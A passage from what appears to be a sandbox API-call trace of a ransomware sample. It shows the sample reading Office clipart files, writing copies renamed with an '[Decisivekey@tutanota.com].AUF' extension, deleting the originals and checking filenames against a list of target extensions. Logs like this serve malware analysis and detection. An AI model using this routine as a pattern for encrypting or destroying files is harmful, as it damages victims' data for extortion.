hTemplateFile=0x0) returned 0x194 [0225.055] GetLastError () returned 0x0 [0225.055] ReadFile (in: hFile=0x180, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x27d0, lpOverlapped=0x0) returned 1 [0225.089] WriteFile (in: hFile=0x194, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0x27e0, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0x27e0, lpOverlapped=0x0) returned 1 [0225.090] ReadFile (in: hFile=0x180, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x0, lpOverlapped=0x0) returned 1 [0225.090] WriteFile (in: hFile=0x194, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xec, lpOverlapped=0x0) returned 1 [0225.090] SetEndOfFile (hFile=0x194) returned 1 [0225.090] CloseHandle (hObject=0x194) returned 1 [0225.090] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.090] SetEndOfFile (hFile=0x180) returned 1 [0225.091] CloseHandle (hObject=0x180) returned 1 [0225.091] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099169.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0225.091] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099169.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099169.wmf")) returned 1 [0225.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099169.WMF") returned 63 [0225.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099169.WMF") returned 63 [0225.091] lstrlenW (lpString=".doc") returned 4 [0225.091] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0225.091] lstrlenW (lpString=".docx") returned 5 [0225.091] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0225.091] lstrlenW (lpString=".pdf") returned 4 [0225.091] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0225.091] lstrlenW (lpString=".xls") returned 4 [0225.092] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0225.092] lstrlenW (lpString=".xlsx") returned 5 [0225.092] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0225.092] lstrlenW (lpString=".ppt") returned 4 [0225.092] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0225.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099169.WMF") returned 63 [0225.092] lstrlenW (lpString=".zip") returned 4 [0225.092] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0225.092] lstrlenW (lpString=".rar") returned 4 [0225.092] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0225.092] lstrlenW (lpString=".bz2") returned 4 [0225.092] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0225.092] lstrlenW (lpString=".7z") returned 3 [0225.092] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0225.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099169.WMF") returned 63 [0225.092] lstrlenW (lpString=".dbf") returned 4 [0225.092] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0225.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099169.WMF") returned 63 [0225.092] lstrlenW (lpString=".1cd") returned 4 [0225.092] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0225.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099169.WMF") returned 63 [0225.092] lstrlenW (lpString=".jpg") returned 4 [0225.092] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0225.092] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x321ff1c | out: lpFileSize=0x321ff1c*=5386) returned 1 [0225.092] CloseHandle (hObject=0x180) returned 1 [0225.092] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099177.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099177.wmf")) returned 0x20 [0225.092] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099177.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099177.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0225.092] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099177.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099177.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0225.093] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.093] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.093] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099177.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099177.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0225.093] GetLastError () returned 0x0 [0225.093] ReadFile (in: hFile=0x180, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x150a, lpOverlapped=0x0) returned 1 [0225.094] WriteFile (in: hFile=0x194, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0x1510, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0x1510, lpOverlapped=0x0) returned 1 [0225.095] ReadFile (in: hFile=0x180, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x0, lpOverlapped=0x0) returned 1 [0225.095] WriteFile (in: hFile=0x194, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xec, lpOverlapped=0x0) returned 1 [0225.095] SetEndOfFile (hFile=0x194) returned 1 [0225.095] CloseHandle (hObject=0x194) returned 1 [0225.095] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.095] SetEndOfFile (hFile=0x180) returned 1 [0225.096] CloseHandle (hObject=0x180) returned 1 [0225.096] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099177.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0225.096] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099177.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099177.wmf")) returned 1 [0225.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099177.WMF") returned 63 [0225.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099177.WMF") returned 63 [0225.096] lstrlenW (lpString=".doc") returned 4 [0225.096] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0225.096] lstrlenW (lpString=".docx") returned 5 [0225.096] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0225.096] lstrlenW (lpString=".pdf") returned 4 [0225.096] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0225.096] lstrlenW (lpString=".xls") returned 4 [0225.096] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0225.096] lstrlenW (lpString=".xlsx") returned 5 [0225.096] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0225.096] lstrlenW (lpString=".ppt") returned 4 [0225.096] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0225.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099177.WMF") returned 63 [0225.096] lstrlenW (lpString=".zip") returned 4 [0225.096] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0225.097] lstrlenW (lpString=".rar") returned 4 [0225.097] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0225.097] lstrlenW (lpString=".bz2") returned 4 [0225.097] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0225.097] lstrlenW (lpString=".7z") returned 3 [0225.097] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0225.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099177.WMF") returned 63 [0225.097] lstrlenW (lpString=".dbf") returned 4 [0225.097] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0225.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099177.WMF") returned 63 [0225.097] lstrlenW (lpString=".1cd") returned 4 [0225.097] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0225.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099177.WMF") returned 63 [0225.097] lstrlenW (lpString=".jpg") returned 4 [0225.097] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0225.101] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x321ff1c | out: lpFileSize=0x321ff1c*=3606) returned 1 [0225.101] CloseHandle (hObject=0x208) returned 1 [0225.101] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099178.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099178.wmf")) returned 0x20 [0225.101] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099178.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099178.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0225.101] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099178.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099178.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0225.102] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.102] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.102] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099178.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099178.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0225.102] GetLastError () returned 0x0 [0225.102] ReadFile (in: hFile=0x208, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0xe16, lpOverlapped=0x0) returned 1 [0225.111] WriteFile (in: hFile=0x228, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xe20, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xe20, lpOverlapped=0x0) returned 1 [0225.111] ReadFile (in: hFile=0x208, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x0, lpOverlapped=0x0) returned 1 [0225.111] WriteFile (in: hFile=0x228, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xec, lpOverlapped=0x0) returned 1 [0225.111] SetEndOfFile (hFile=0x228) returned 1 [0225.111] CloseHandle (hObject=0x228) returned 1 [0225.111] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.111] SetEndOfFile (hFile=0x208) returned 1 [0225.112] CloseHandle (hObject=0x208) returned 1 [0225.112] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099178.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0225.112] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099178.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099178.wmf")) returned 1 [0225.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099178.WMF") returned 63 [0225.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099178.WMF") returned 63 [0225.112] lstrlenW (lpString=".doc") returned 4 [0225.112] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0225.113] lstrlenW (lpString=".docx") returned 5 [0225.113] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0225.113] lstrlenW (lpString=".pdf") returned 4 [0225.113] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0225.113] lstrlenW (lpString=".xls") returned 4 [0225.113] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0225.113] lstrlenW (lpString=".xlsx") returned 5 [0225.113] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0225.113] lstrlenW (lpString=".ppt") returned 4 [0225.113] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0225.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099178.WMF") returned 63 [0225.113] lstrlenW (lpString=".zip") returned 4 [0225.113] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0225.113] lstrlenW (lpString=".rar") returned 4 [0225.113] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0225.113] lstrlenW (lpString=".bz2") returned 4 [0225.113] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0225.113] lstrlenW (lpString=".7z") returned 3 [0225.113] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0225.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099178.WMF") returned 63 [0225.113] lstrlenW (lpString=".dbf") returned 4 [0225.113] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0225.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099178.WMF") returned 63 [0225.113] lstrlenW (lpString=".1cd") returned 4 [0225.113] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0225.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099178.WMF") returned 63 [0225.113] lstrlenW (lpString=".jpg") returned 4 [0225.113] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0225.113] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x321ff1c | out: lpFileSize=0x321ff1c*=1198) returned 1 [0225.113] CloseHandle (hObject=0x208) returned 1 [0225.113] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099181.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099181.wmf")) returned 0x20 [0225.113] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099181.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099181.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0225.113] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099181.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099181.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0225.114] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.114] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.114] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099181.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099181.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0225.114] GetLastError () returned 0x0 [0225.114] ReadFile (in: hFile=0x208, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x4ae, lpOverlapped=0x0) returned 1 [0225.133] WriteFile (in: hFile=0x228, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0x4b0, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0x4b0, lpOverlapped=0x0) returned 1 [0225.134] ReadFile (in: hFile=0x208, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x0, lpOverlapped=0x0) returned 1 [0225.134] WriteFile (in: hFile=0x228, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xec, lpOverlapped=0x0) returned 1 [0225.134] SetEndOfFile (hFile=0x228) returned 1 [0225.134] CloseHandle (hObject=0x228) returned 1 [0225.134] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.134] SetEndOfFile (hFile=0x208) returned 1 [0225.135] CloseHandle (hObject=0x208) returned 1 [0225.135] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099181.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0225.135] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099181.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099181.wmf")) returned 1 [0225.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099181.WMF") returned 63 [0225.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099181.WMF") returned 63 [0225.135] lstrlenW (lpString=".doc") returned 4 [0225.135] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0225.135] lstrlenW (lpString=".docx") returned 5 [0225.135] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0225.135] lstrlenW (lpString=".pdf") returned 4 [0225.135] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0225.135] lstrlenW (lpString=".xls") returned 4 [0225.135] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0225.135] lstrlenW (lpString=".xlsx") returned 5 [0225.135] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0225.135] lstrlenW (lpString=".ppt") returned 4 [0225.135] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0225.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099181.WMF") returned 63 [0225.135] lstrlenW (lpString=".zip") returned 4 [0225.135] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0225.135] lstrlenW (lpString=".rar") returned 4 [0225.135] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0225.135] lstrlenW (lpString=".bz2") returned 4 [0225.135] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0225.135] lstrlenW (lpString=".7z") returned 3 [0225.135] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0225.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099181.WMF") returned 63 [0225.135] lstrlenW (lpString=".dbf") returned 4 [0225.135] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0225.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099181.WMF") returned 63 [0225.135] lstrlenW (lpString=".1cd") returned 4 [0225.135] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0225.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099181.WMF") returned 63 [0225.135] lstrlenW (lpString=".jpg") returned 4 [0225.135] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0225.136] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x321ff1c | out: lpFileSize=0x321ff1c*=4118) returned 1 [0225.136] CloseHandle (hObject=0x208) returned 1 [0225.136] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099184.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099184.wmf")) returned 0x20 [0225.136] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099184.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099184.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0225.136] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099184.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099184.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0225.136] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.136] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.136] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099184.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099184.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0225.136] GetLastError () returned 0x0 [0225.136] ReadFile (in: hFile=0x208, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x1016, lpOverlapped=0x0) returned 1 [0225.145] WriteFile (in: hFile=0x228, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0x1020, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0x1020, lpOverlapped=0x0) returned 1 [0225.145] ReadFile (in: hFile=0x208, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x0, lpOverlapped=0x0) returned 1 [0225.145] WriteFile (in: hFile=0x228, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xec, lpOverlapped=0x0) returned 1 [0225.146] SetEndOfFile (hFile=0x228) returned 1 [0225.146] CloseHandle (hObject=0x228) returned 1 [0225.146] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.146] SetEndOfFile (hFile=0x208) returned 1 [0225.146] CloseHandle (hObject=0x208) returned 1 [0225.146] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099184.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0225.146] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099184.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099184.wmf")) returned 1 [0225.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099184.WMF") returned 63 [0225.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099184.WMF") returned 63 [0225.147] lstrlenW (lpString=".doc") returned 4 [0225.147] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0225.147] lstrlenW (lpString=".docx") returned 5 [0225.147] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0225.147] lstrlenW (lpString=".pdf") returned 4 [0225.147] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0225.147] lstrlenW (lpString=".xls") returned 4 [0225.147] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0225.147] lstrlenW (lpString=".xlsx") returned 5 [0225.147] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0225.147] lstrlenW (lpString=".ppt") returned 4 [0225.147] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0225.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099184.WMF") returned 63 [0225.147] lstrlenW (lpString=".zip") returned 4 [0225.147] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0225.147] lstrlenW (lpString=".rar") returned 4 [0225.147] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0225.147] lstrlenW (lpString=".bz2") returned 4 